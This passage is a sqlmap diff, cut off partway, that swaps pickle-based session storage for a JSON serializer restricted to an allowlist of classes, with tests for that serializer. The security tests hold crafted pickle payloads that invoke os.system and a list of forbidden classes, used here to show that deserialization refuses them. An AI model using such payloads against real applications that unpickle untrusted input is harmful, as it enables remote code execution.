"%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "s": _serializeEncode(dict(value.__dict__))} + + return _serializeUnknown(value, name) + +def _serializeUnknown(value, name): + """ + Fallback for a type not explicitly handled by the serializer + """ + + # sqlmap's own (or bundled) classes MUST be added to the allowlist explicitly - fail loudly + # (caught by the regression tests) rather than silently store something that cannot be restored + if (name or "").split(".")[0] in ("lib", "plugins", "thirdparty"): + raise TypeError("serialization of type '%s' is not supported" % name) + + # a foreign/exotic scalar (e.g. an unusual DB-driver value): degrade to its textual form rather + # than crash a user's session - session values are only ever rendered (getUnicode) downstream + singleTimeWarnMessage("serializing value of unsupported type '%s' as text" % name) + return getUnicode(value) + +def _serializeDecode(struct): + """ + Restores a Python value from a JSON-deserialized (tagged) structure + """ + + if struct is None or isinstance(struct, bool) or isinstance(struct, float) or isinstance(struct, six.integer_types): + return struct + + if isinstance(struct, six.text_type): + return struct + + if isinstance(struct, six.binary_type): # defensive - json.loads() yields text, not bytes + return getUnicode(struct) + + if isinstance(struct, list): + return [_serializeDecode(_) for _ in struct] + + if isinstance(struct, dict): + tag = struct.get(_SERIALIZE_TAG) + + if tag == "b": + raw = decodeBase64(struct["v"], binary=True) + return bytearray(raw) if struct.get("a") else raw + elif tag == "t": + return tuple(_serializeDecode(_) for _ in struct["v"]) + elif tag == "f": + return frozenset(_serializeDecode(_) for _ in struct["v"]) + elif tag == "ba": + return BigArray([_serializeDecode(_) for _ in struct["v"]]) + elif tag == "s": + return set(_serializeDecode(_) for _ in struct["v"]) + elif tag == "m": + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct["v"]) + elif tag == "dec": + return decimal.Decimal(struct["v"]) + elif tag == "dt": + return datetime.datetime(*struct["v"]) + elif tag == "date": + return datetime.date(*struct["v"]) + elif tag == "time": + return datetime.time(*struct["v"]) + elif tag == "td": + return datetime.timedelta(struct["v"][0], struct["v"][1], struct["v"][2]) + elif tag == "o": + return _serializeDecodeObject(struct) + elif tag is None: # defensive - a bare mapping should never occur + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct.items()) + else: + raise ValueError("unsupported serialized tag '%s'" % tag) + + raise ValueError("unsupported serialized structure of type '%s'" % type(struct)) + +def _serializeResolveClass(name): + """ + Resolves an allowlisted class name to its class (nothing else may be reconstructed) + """ + + if name not in _SERIALIZE_CLASSES: + raise ValueError("deserialization of class '%s' is forbidden" % name) + + if name == "lib.utils.har.RawPair": + from lib.utils.har import RawPair + return RawPair + else: + from lib.core.datatype import AttribDict, InjectionDict + return InjectionDict if name.endswith("InjectionDict") else AttribDict + +def _serializeDecodeObject(struct): + """ + Reconstructs an allowlisted class instance from its serialized form + """ + + _class = _serializeResolveClass(struct.get("c")) + retVal = _class.__new__(_class) + + if isinstance(retVal, dict): + for pair in (struct.get("d") or []): + dict.__setitem__(retVal, _serializeDecode(pair[0]), _serializeDecode(pair[1])) + + state = _serializeDecode(struct.get("s") or {}) + if isinstance(state, dict): + retVal.__dict__.update(state) return retVal -def base64unpickle(value): +def serializeValue(value): """ - Decodes value from Base64 to plain format and deserializes (with pickle) its content + Safely serializes a Python value to its canonical serialized form (JSON text), without any + code-execution risk - >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object + Note: the output is pure ASCII text, so it is stored verbatim in the (TEXT) session store - no + Base64 (or any base-N) wrapping is needed (that was only required by the former binary + serialization), which also keeps the stored form as small as possible. Callers that need raw + bytes (e.g. a compressed BigArray disk chunk) simply encode the returned text. + + >>> deserializeValue(serializeValue({1: 'a', 'b': (2, 3), 'c': {4, 5}})) == {1: 'a', 'b': (2, 3), 'c': {4, 5}} + True + >>> deserializeValue(serializeValue([1, 2, (3, {4: b'5'})])) == [1, 2, (3, {4: b'5'})] True """ - retVal = None + return json.dumps(_serializeEncode(value), ensure_ascii=True, separators=(',', ':')) - try: - retVal = pickle.loads(decodeBase64(value)) - except TypeError: - retVal = pickle.loads(decodeBase64(bytes(value))) +def deserializeValue(value): + """ + Restores a Python value from its serialized form (accepts the serialized data as either text or + bytes) + """ - return retVal + return _serializeDecode(json.loads(getText(value))) def htmlUnescape(value): """ diff --git a/lib/core/patch.py b/lib/core/patch.py index 2063ac37a..c7796d061 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -178,52 +178,6 @@ def dirtyPatches(): et.parse = _safe_parse et._patched = True - import io - import pickle - if not getattr(pickle, "_patched", False): - class RestrictedUnpickler(pickle.Unpickler): - # Note: allowlist (not blacklist) - a module blacklist is bypassable (e.g. importlib/ctypes/operator), so only - # explicitly-safe builtin data types and sqlmap's own (and bundled) classes are permitted to be unpickled - def find_class(self, module, name): - # Note: protocol-2 pickling of a 'bytes' value on Python 3 emits a _codecs.encode global; allow that one - # (it only runs a codec, e.g. latin1 - it cannot execute arbitrary code) so serialized values containing - # bytes round-trip. Everything else from _codecs (e.g. lookup) stays blocked by the rule below. - if module == "_codecs" and name == "encode": - pass - # safe builtin data types only (blocks eval/exec/__import__/getattr/etc.) - elif module in ("builtins", "__builtin__"): - if name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType", "complex"): - raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name)) - # everything else must be one of sqlmap's own (or bundled) classes (e.g. lib.core.datatype.AttribDict) - elif (module or "").split(".")[0] not in ("lib", "plugins", "thirdparty"): - raise ValueError("unpickling of module '%s' is forbidden" % module) - - # Python 2/3 method resolution - if hasattr(pickle.Unpickler, "find_class"): - return pickle.Unpickler.find_class(self, module, name) - - __import__(module) - return getattr(sys.modules[module], name) - - def _safe_loads(data): - try: - stream = io.BytesIO(data) - except TypeError: - stream = io.StringIO(data) - - return RestrictedUnpickler(stream).load() - - pickle.loads = _safe_loads - pickle._patched = True - - try: - import cPickle - if not getattr(cPickle, "_patched", False): - cPickle.loads = pickle.loads - cPickle._patched = True - except ImportError: - pass - try: import builtins except ImportError: diff --git a/lib/core/settings.py b/lib/core/settings.py index 01edfd279..9fe124d05 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.39" +VERSION = "1.10.7.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -868,11 +868,8 @@ HASHDB_RETRIEVE_RETRIES = 3 # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 -# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "GpqxbkWTfz" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' - -# Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) -PICKLE_PROTOCOL = 2 +# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism) +HASHDB_MILESTONE_VALUE = "MvKpZrBqTn" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 21588a189..7763442e2 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -6,10 +6,11 @@ See the file 'LICENSE' for copying permission """ from lib.core.common import Backend -from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE -class Unescaper(AttribDict): +# Note: a plain dict (DBMS -> escape function) with a helper method; it is a runtime registry, never +# serialized, so it deliberately does NOT use AttribDict (no attribute-style access is needed here) +class Unescaper(dict): def escape(self, expression, quote=True, dbms=None): if expression is None: return expression diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index fbd58b0ce..c15389519 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -165,8 +165,9 @@ class HashDB(object): self._write_cache = {} self._last_flush_time = time.time() + began = False try: - self.beginTransaction() + began = self.beginTransaction() for hash_, value in flush_cache.items(): retries = 0 while True: @@ -197,23 +198,30 @@ class HashDB(object): else: break finally: - self.endTransaction() + # Only close a transaction we actually opened; when flush() runs nested inside an + # outer batch (e.g. lib/utils/hash.py wrapping cracked-password writes) beginTransaction() + # returns False and the outer owner keeps ownership - ending it here would commit it early + if began: + self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() - if not threadData.inTransaction: + if threadData.inTransaction: + return False # already inside an (outer) transaction; do not nest + + try: + self.cursor.execute("BEGIN TRANSACTION") + except Exception: # Note: deliberately not bare - a KeyboardInterrupt here must propagate try: - self.cursor.execute("BEGIN TRANSACTION") - except: - try: - # Reference: http://stackoverflow.com/a/25245731 - self.cursor.close() - except sqlite3.ProgrammingError: - pass - threadData.hashDBCursor = None - self.cursor.execute("BEGIN TRANSACTION") - finally: - threadData.inTransaction = True + # Reference: http://stackoverflow.com/a/25245731 + self.cursor.close() + except sqlite3.ProgrammingError: + pass + threadData.hashDBCursor = None + self.cursor.execute("BEGIN TRANSACTION") + + threadData.inTransaction = True # set only on a genuine BEGIN (not if the retry above raised) + return True def endTransaction(self): threadData = getCurrentThreadData() diff --git a/tests/test_convert.py b/tests/test_convert.py index f33315fae..9ca997f5a 100644 --- a/tests/test_convert.py +++ b/tests/test_convert.py @@ -21,7 +21,7 @@ bootstrap() from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, getBytes, getText, getUnicode, getOrds, - jsonize, dejsonize, base64pickle, base64unpickle) + jsonize, dejsonize, serializeValue, deserializeValue) from lib.core.common import decodeDbmsHexValue try: @@ -109,36 +109,31 @@ class TestJson(unittest.TestCase): self.assertEqual(jsonize(123), "123") # int -> textual "123" -class TestBase64Pickle(unittest.TestCase): - # Types sqlmap actually serializes (injection objects, cached values, BigArray). +class TestSerialize(unittest.TestCase): + # Smoke coverage of the safe (JSON-based) session serializer; the exhaustive corner-case + # and security suite lives in tests/test_serialize.py. def test_roundtrip_allowed_types(self): for obj in [[1, 2, 3], {"a": 1}, (1, 2), "text", 42, 3.14, True, None, {"k": [1, {"n": "v"}]}]: - self.assertEqual(base64unpickle(base64pickle(obj)), obj) + self.assertEqual(deserializeValue(serializeValue(obj)), obj) - # REGRESSION: under Python 3 + PICKLE_PROTOCOL=2 a raw `bytes` value is pickled via the - # `_codecs.encode` global. The RestrictedUnpickler allowlist (patch.py) once rejected that, - # so any serialized session value containing bytes failed to load on py3. The fix allows - # exactly `_codecs.encode` (a benign codec call). Bytes MUST round-trip on both py2 and py3. def test_bytes_roundtrip(self): for raw in [b"x", b"\x00\x01\xff", b"\xde\xad\xbe\xef"]: - self.assertEqual(base64unpickle(base64pickle(raw)), raw, msg="bytes round-trip %r" % raw) + self.assertEqual(deserializeValue(serializeValue(raw)), raw, msg="bytes round-trip %r" % raw) def test_bytes_nested_in_container_roundtrip(self): for obj in [{"a": b"bytes"}, [b"ab", "s", 1, None], ("t", b"\xde\xad")]: - self.assertEqual(base64unpickle(base64pickle(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) + self.assertEqual(deserializeValue(serializeValue(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) - def test_dangerous_globals_still_blocked(self): - # bootstrap() installs sqlmap's RestrictedUnpickler over pickle.loads. These are VALID - # pickles that reference os.system / builtins.eval - stdlib would import them happily; the - # allowlist must reject them. Assert the SPECIFIC "forbidden" ValueError (not just any - # error) so the test proves the allowlist fired, not that the bytes failed to parse. - import pickle - for payload in (b"cos\nsystem\n.", b"c__builtin__\neval\n."): - try: - pickle.loads(payload) - self.fail("dangerous global was NOT blocked: %r" % payload) - except ValueError as ex: - self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (payload, ex)) + def test_output_is_plain_ascii_text_no_base64(self): + # the serialized form must be readable JSON text (not Base64 / binary) so it lands verbatim in + # the TEXT session column with zero wrapping overhead + out = serializeValue({"k": [1, (2, 3)]}) + self.assertIsInstance(out, str) + self.assertTrue(out.startswith("{") and out.endswith("}"), out) + + def test_deserialize_accepts_bytes(self): + # BigArray hands the serialized data back as bytes (off a compressed disk chunk) + self.assertEqual(deserializeValue(getBytes(serializeValue([1, (2, 3)]))), [1, (2, 3)]) if __name__ == "__main__": diff --git a/tests/test_serialize.py b/tests/test_serialize.py new file mode 100644 index 000000000..fb7b72bcb --- /dev/null +++ b/tests/test_serialize.py @@ -0,0 +1,462 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Exhaustive lock on the safe (JSON-based, no code execution) serializer that backs the +session store (HashDB) and BigArray disk chunks - the replacement for the former +code-executing serializer. + +Two properties must hold forever, on BOTH Python 2.7 and 3.x: + + 1. CORRECTNESS - every value sqlmap actually persists must round-trip losslessly, with + its exact type. The historically fragile cases are covered explicitly: integer/tuple + dict keys (naive JSON turns them into strings), tuple-vs-list, set/frozenset, bytes, + the AttribDict/InjectionDict/RawPair classes and their internal state, and the native + DB-driver scalars (Decimal/datetime/...) that '-d' direct-mode output can contain. + A regression here silently corrupts a user's saved session. + + 2. SECURITY - deserialization must NEVER execute code and must reconstruct ONLY the small + explicit class allowlist. Any other class name (os.system, subprocess.Popen, eval, + lib.core.common.shellExec, ...) must be refused with a "forbidden" ValueError, and a + crafted legacy payload must fail inertly (no side effects). + +Kept deliberately verbose - each case maps to a real session/BigArray value or a real report. +""" + +import datetime +import decimal +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray +from lib.core.convert import deserializeValue, encodeBase64, getUnicode, serializeValue +from lib.core.convert import _SERIALIZE_TAG +from lib.core.datatype import AttribDict, InjectionDict, LRUDict +from lib.utils.har import RawPair +from thirdparty import six + +INTS = six.integer_types +_unichr = six.unichr + + +def rt(value): + """Full session round-trip: value -> JSON text -> value.""" + return deserializeValue(serializeValue(value)) + + +def _import_all_modules(): + """Import every sqlmap module (like --smoke-test) so class-subclass reflection sees them all.""" + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for base in ("lib", "plugins", "tamper"): + for dirpath, _, filenames in os.walk(os.path.join(root, base)): + if any(skip in dirpath for skip in ("thirdparty", "extra", "tests", "__pycache__")): + continue + for filename in filenames: + if filename.endswith(".py") and filename not in ("__init__.py", "gui.py"): + dotted = os.path.join(dirpath, filename[:-3]).replace(root + os.sep, "").replace(os.sep, ".") + try: + __import__(dotted) + except Exception: + pass # import health is --smoke-test's job; here we only need the classes that DO load + + +def _all_subclasses(cls): + for sub in cls.__subclasses__(): + yield sub + for _ in _all_subclasses(sub): + yield _ + + +class TestScalars(unittest.TestCase): + def test_simple(self): + for value in [None, True, False, 0, 1, -1, 42, 3.14, -0.5, 0.0]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored) is bool, type(value) is bool) # bool never collapses to int + + def test_big_ints(self): + for value in [2 ** 64, 2 ** 200, -(2 ** 128)]: + self.assertEqual(rt(value), value) + + def test_text(self): + # empty, ascii, non-BMP, sqlmap's reversible-codec private-use-area char, control chars + for value in [u"", u"plain", _unichr(0x2299) + u" mid " + _unichr(0xFF), + _unichr(0x1F600) if sys.maxunicode > 0xFFFF else u"x", + _unichr(0xF0055), u"tab\tnewline\nquote\"backslash\\"]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, six.text_type) + + +class TestBinary(unittest.TestCase): + def test_bytes(self): + for value in [b"", b"abc", b"\x00\x01\x02\xff\xfe", bytes(bytearray(range(256)))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytes) + + def test_bytearray(self): + value = bytearray(b"\x00binary\xff") + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytearray) + + def test_memoryview(self): + # some drivers (e.g. psycopg2 on py3) return memoryview for BLOB columns + restored = rt(memoryview(b"\x00\x01blob")) + self.assertEqual(bytes(restored) if isinstance(restored, (bytearray, memoryview)) else restored, b"\x00\x01blob") + + +class TestContainers(unittest.TestCase): + def test_list_nested(self): + value = [1, [2, [3, [4]]], "x", None] + self.assertEqual(rt(value), value) + + def test_tuple_preserved(self): + for value in [(), (1,), (1, 2, "x"), ((1, 2), (3,))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, tuple) # must NOT degrade to list + + def test_tuple_not_confused_with_list(self): + restored = rt([(1, 2), [1, 2]]) + self.assertIsInstance(restored[0], tuple) + self.assertIsInstance(restored[1], list) + + def test_set_and_frozenset(self): + for value in [set(), {1, 2, 3}, {u"a", u"b"}]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, set) + fs = frozenset([1, 2]) + restored = rt(fs) + self.assertEqual(restored, fs) + self.assertIsInstance(restored, frozenset) + + +class TestDicts(unittest.TestCase): + def test_string_keys(self): + value = {u"a": 1, u"b": {u"c": [1, 2]}} + self.assertEqual(rt(value), value) + + def test_int_keys_preserved(self): + # THE landmine: naive json.dumps turns {1: ...} into {"1": ...}; injection.data is int-keyed + restored = rt({1: u"one", 2: u"two", 100: u"hundred"}) + self.assertEqual(restored, {1: u"one", 2: u"two", 100: u"hundred"}) + self.assertTrue(all(isinstance(k, INTS) for k in restored), list(restored)) + + def test_tuple_and_mixed_keys(self): + value = {(1, 2): u"tuple-key", u"s": 1, 7: u"int-key"} + restored = rt(value) + self.assertEqual(restored, value) + self.assertIn((1, 2), restored) + self.assertTrue(any(isinstance(k, INTS) and not isinstance(k, bool) for k in restored)) + + def test_empty_dict(self): + self.assertEqual(rt({}), {}) + + +class TestSqlmapTypes(unittest.TestCase): + def test_attribdict(self): + value = AttribDict() + value.foo = u"bar" + value["n"] = {u"k": [1, (2, 3)]} + restored = rt(value) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.foo, u"bar") + self.assertEqual(restored["n"], {u"k": [1, (2, 3)]}) + + def test_attribdict_keycheck_flag_preserved(self): + strict = AttribDict(keycheck=True) + lax = AttribDict(keycheck=False) + self.assertTrue(rt(strict).__dict__.get("_keycheck")) + self.assertFalse(rt(lax).__dict__.get("_keycheck")) + # a lax AttribDict returns None for a missing attribute instead of raising - behaviour must survive + self.assertIsNone(rt(lax).nonexistent_attribute) + + def test_injectiondict_full(self): + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.ptype = 1 + inj.prefix = "" + inj.suffix = "" + inj.dbms = "MySQL" + inj.notes = ["note1"] + # int-keyed .data (PAYLOAD.TECHNIQUE.* are ints), each a nested AttribDict + for stype in (1, 5): + data = AttribDict() + data.title = "technique %d" % stype + data.payload = u"id=1 AND %d=%d" % (stype, stype) + data.where = 1 + data.vector = None + data.matchRatio = 0.987 + data.trueCode = 200 + data.falseCode = 500 + inj.data[stype] = data + inj.conf = AttribDict() + inj.conf.textOnly = False + + restored = rt([inj])[0] + self.assertIsInstance(restored, InjectionDict) + self.assertEqual(restored.place, "GET") + self.assertEqual(restored.parameter, "id") + self.assertEqual(restored.notes, ["note1"]) + self.assertEqual(set(restored.data.keys()), set((1, 5))) + self.assertTrue(all(isinstance(k, INTS) for k in restored.data), list(restored.data)) + self.assertIsInstance(restored.data[1], AttribDict) + self.assertEqual(restored.data[1].title, "technique 1") + self.assertEqual(restored.data[1].matchRatio, 0.987) + self.assertIsNone(restored.data[1].vector) + self.assertIsInstance(restored.conf, AttribDict) + self.assertFalse(restored.conf.textOnly) + + def test_bigarray_type_preserved(self): + # BigArray is a list subclass; it must round-trip AS a BigArray, not degrade to a plain list + restored = rt(BigArray([1, 2, (3, 4), u"x"])) + self.assertIsInstance(restored, BigArray) + self.assertEqual(list(restored), [1, 2, (3, 4), u"x"]) + + def test_rawpair(self): + # the class stored in a BigArray by the HAR collector + pair = RawPair(b"GET / HTTP/1.1", b"HTTP/1.1 200 OK", startTime=1.5, endTime=2.5, extendedArguments={u"k": u"v"}) + restored = rt(pair) + self.assertIsInstance(restored, RawPair) + self.assertEqual(restored.request, b"GET / HTTP/1.1") + self.assertEqual(restored.response, b"HTTP/1.1 200 OK") + self.assertEqual(restored.startTime, 1.5) + self.assertEqual(restored.extendedArguments, {u"k": u"v"}) + + +class TestDbmsScalars(unittest.TestCase): + # '-d' direct-mode query output (and dump BigArray) can hold native driver types + def test_decimal(self): + for value in [decimal.Decimal("0"), decimal.Decimal("1.50"), decimal.Decimal("-0.0001"), decimal.Decimal("123456789.987654321")]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, decimal.Decimal) + + def test_datetime_family(self): + cases = [ + datetime.datetime(2024, 1, 2, 3, 4, 5, 6), + datetime.datetime(1970, 1, 1, 0, 0, 0), + datetime.date(1999, 12, 31), + datetime.time(23, 59, 58, 123456), + datetime.timedelta(days=3, seconds=7, microseconds=9), + datetime.timedelta(0), + ] + for value in cases: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored), type(value)) + + +class TestRealSessionObjects(unittest.TestCase): + # the exact shapes written with serialize=True across the codebase + def test_brute_tables_columns(self): + tables = [("mydb", "users"), ("mydb", "logs")] + columns = [("mydb", "users", "id", "numeric"), ("mydb", "users", "name", "non-numeric")] + self.assertEqual(rt(tables), tables) + self.assertEqual(rt(columns), columns) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(tables))) + + def test_dynamic_markings(self): + markings = [(u"", None), (None, u""), (u"pre", u"suf")] + self.assertEqual(rt(markings), markings) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(markings))) + + def test_abs_file_paths_set(self): + paths = set([u"/var/www/index.php", u"/etc/passwd"]) + restored = rt(paths) + self.assertEqual(restored, paths) + self.assertIsInstance(restored, set) # resume code does an explicit isinstance(_, set) union + + def test_kb_chars_attribdict(self): + chars = AttribDict() + chars.delimiter = u"abcdef" + chars.start = u"//start//" + chars.stop = u"//stop//" + restored = rt(chars) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.delimiter, u"abcdef") + + +class TestSecurity(unittest.TestCase): + def _forged(self, class_name): + # the raw on-wire object wrapper as a hostile session file would hold it (a plain JSON + # object tag; NOT produced via the encoder, which would re-tag a dict as a harmless map) + return json.dumps({_SERIALIZE_TAG: "o", "c": class_name, "s": {}}) + + def test_forbidden_classes_rejected(self): + for name in ("os.system", "subprocess.Popen", "builtins.eval", "__builtin__.eval", + "lib.core.common.shellExec", "lib.core.common.evaluateCode", "lib.core.common.openFile"): + try: + deserializeValue(self._forged(name)) + self.fail("class %r was NOT rejected" % name) + except ValueError as ex: + self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (name, ex)) + + def test_legacy_payload_fails_inertly(self): + # an OLD session stored base64-of-pickle as TEXT; the new text reader must fail on it + # WITHOUT executing anything (and, in practice, the bumped HASHDB_MILESTONE_VALUE means such + # a value is never even looked up). Use a classic protocol-0 os.system pickle as the payload. + sentinel = os.path.join(tempfile.gettempdir(), "sqlmap_serialize_sentinel_%d" % os.getpid()) + if os.path.exists(sentinel): + os.remove(sentinel) + legacy_pickle = b"cos\nsystem\n(S'touch " + sentinel.encode("ascii", "ignore") + b"'\ntR." + legacy_stored = encodeBase64(legacy_pickle, binary=False) # exactly what old sqlmap wrote + try: + deserializeValue(legacy_stored) # base64 blob is not valid JSON -> raises + except Exception: + pass # any failure is fine; the point is no execution + self.assertFalse(os.path.exists(sentinel), "legacy payload EXECUTED (sentinel created)") + + def test_hashdb_ignores_undecodable_old_value(self): + # the belt-and-suspenders guarantee: even if an un-deserializable (e.g. legacy) value IS + # looked up, HashDB.retrieve() swallows it and returns None - a stale session never crashes + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + db = HashDB(path) + db.write("legacy", encodeBase64(b"cos\nsystem\n(S'x'\ntR.", binary=False)) # stored, NOT serialized + db.flush() + db._write_cache.clear() + db._read_cache.cache.clear() + self.assertIsNone(db.retrieve("legacy", unserialize=True)) # must be None, not an exception + db.closeAll() + finally: + if os.path.exists(path): + os.remove(path) + + def test_sqlmap_type_not_in_allowlist_fails_loud(self): + # a sqlmap-own class that is not allowlisted must raise on SERIALIZE (dev-visible), never be + # silently dropped - LRUDict lives in lib.* and is not serializable + self.assertRaises(TypeError, serializeValue, LRUDict(capacity=2)) + + def test_foreign_exotic_value_degrades_to_text(self): + # a non-sqlmap, non-handled scalar degrades to its textual form rather than crashing a session + self.assertEqual(rt(complex(1, 2)), getUnicode(complex(1, 2))) + + +class TestBigArrayDisk(unittest.TestCase): + def test_scalar_chunks_through_disk(self): + ba = BigArray(chunk_size=1) # force one chunk per item -> exercises the on-disk path + source = [] + for i in range(300): + row = (i, u"name%d" % i, decimal.Decimal("%d.25" % i), None, b"\x00\xff") + source.append(row) + ba.append(row) + self.assertGreater(len(ba.chunks), 1) + self.assertEqual(len(ba), 300) + self.assertEqual(list(ba), source) + self.assertEqual(ba[150], source[150]) + self.assertEqual(ba[-1], source[-1]) + + def test_rawpair_chunks_through_disk(self): + ba = BigArray(chunk_size=1) + for i in range(40): + ba.append(RawPair(b"REQ%d" % i, b"RESP%d" % i, startTime=float(i), endTime=float(i) + 1, extendedArguments={u"i": i})) + got = list(ba) + self.assertEqual(len(got), 40) + self.assertTrue(all(isinstance(_, RawPair) for _ in got)) + self.assertEqual(got[7].request, b"REQ7") + self.assertEqual(got[7].extendedArguments, {u"i": 7}) + + +class TestAllowlistGuard(unittest.TestCase): + """CI guard: catch a NEW class becoming serializable before it reaches a user's session.""" + + def test_allowlist_names_resolve_and_stay_in_sync(self): + # every allowlisted name must resolve to a class whose real module.qualname matches - keeps + # convert._SERIALIZE_CLASSES and convert._serializeResolveClass in lockstep (a rename/move/ + # typo of an allowlisted class fails here instead of silently at a user's session load) + from lib.core.convert import _SERIALIZE_CLASSES, _serializeResolveClass + for name in _SERIALIZE_CLASSES: + cls = _serializeResolveClass(name) + self.assertEqual("%s.%s" % (cls.__module__, cls.__name__), name) + + def test_no_undeclared_attribdict_subclass(self): + # AttribDict/InjectionDict carry the session's structured data. A NEW AttribDict subclass that + # ends up stored in the session would be REJECTED by the serializer at a user's runtime. Catch + # it here coverage-INDEPENDENTLY: import the whole tree, then require every AttribDict subclass + # to be declared serializable in convert._SERIALIZE_CLASSES. + from lib.core.convert import _SERIALIZE_CLASSES + from lib.core.datatype import AttribDict + + _import_all_modules() + + offenders = sorted(set( + "%s.%s" % (cls.__module__, cls.__name__) + for cls in _all_subclasses(AttribDict) + ) - set(_SERIALIZE_CLASSES)) + + self.assertEqual(offenders, [], ( + "undeclared AttribDict subclass(es): %s -- if stored in the session, add it to BOTH " + "convert._SERIALIZE_CLASSES and convert._serializeResolveClass (else the safe serializer " + "raises on it at a user's runtime). If it is a runtime-only registry, make it subclass a " + "plain dict instead of AttribDict (see lib.core.unescaper.Unescaper) so it never lands " + "here." % offenders + )) + + def test_known_serializable_classes_present(self): + # lock the intended set: exactly the dict-like data types plus the HAR RawPair. If this list + # legitimately grows, update it here deliberately (a conscious review point). + from lib.core.convert import _SERIALIZE_CLASSES + self.assertEqual(set(_SERIALIZE_CLASSES), set(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", + ))) + + +class TestHashDBIntegration(unittest.TestCase): + def test_write_retrieve_roundtrip(self): + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.data[1] = AttribDict() + inj.data[1].title = "boolean-based blind" + inj.data[1].matchRatio = 0.9 + value = [inj] + + db = HashDB(path) + db.write("KB_INJECTIONS", value, serialize=True) + db.flush() + # drop the in-memory caches so retrieve() must SELECT the serialized blob back off + # disk and deserialize it (the real resume path), rather than returning a cached object + db._write_cache.clear() + db._read_cache.cache.clear() + restored = db.retrieve("KB_INJECTIONS", unserialize=True) + db.closeAll() + + self.assertIsInstance(restored, list) + self.assertIsInstance(restored[0], InjectionDict) + self.assertEqual(restored[0].place, "GET") + self.assertTrue(all(isinstance(k, INTS) for k in restored[0].data)) + self.assertEqual(restored[0].data[1].title, "boolean-based blind") + self.assertEqual(restored[0].data[1].matchRatio, 0.9) + finally: + if os.path.exists(path): + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py new file mode 100644 index 000000000..064686900 --- /dev/null +++ b/tests/test_sqllint.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests + atom-level SQL coverage for lib/utils/sqllint.py. + +Two concerns: + + 1. Linter self-test - a curated set of well-formed fragments/statements that + must NOT flag, malformed ones that MUST flag, and the cross-dialect edge + cases the linter has learned (==, ::, $/backtick identifiers, LIKE() as a + function, HSQLDB "LIMIT off lim", ...). Guards the linter from regressions. + + 2. Atom-level SQL coverage - every SQL-bearing template in data/xml/queries.xml + and data/xml/payloads.xml, across ALL back-end DBMSes, must lint structurally + clean. This is a coverage gate over the *building blocks* of every query + sqlmap emits. The composed/runtime layer (agent.py wrapping these atoms into + wire payloads) is exercised faithfully by the separate payload-lint walk; a + 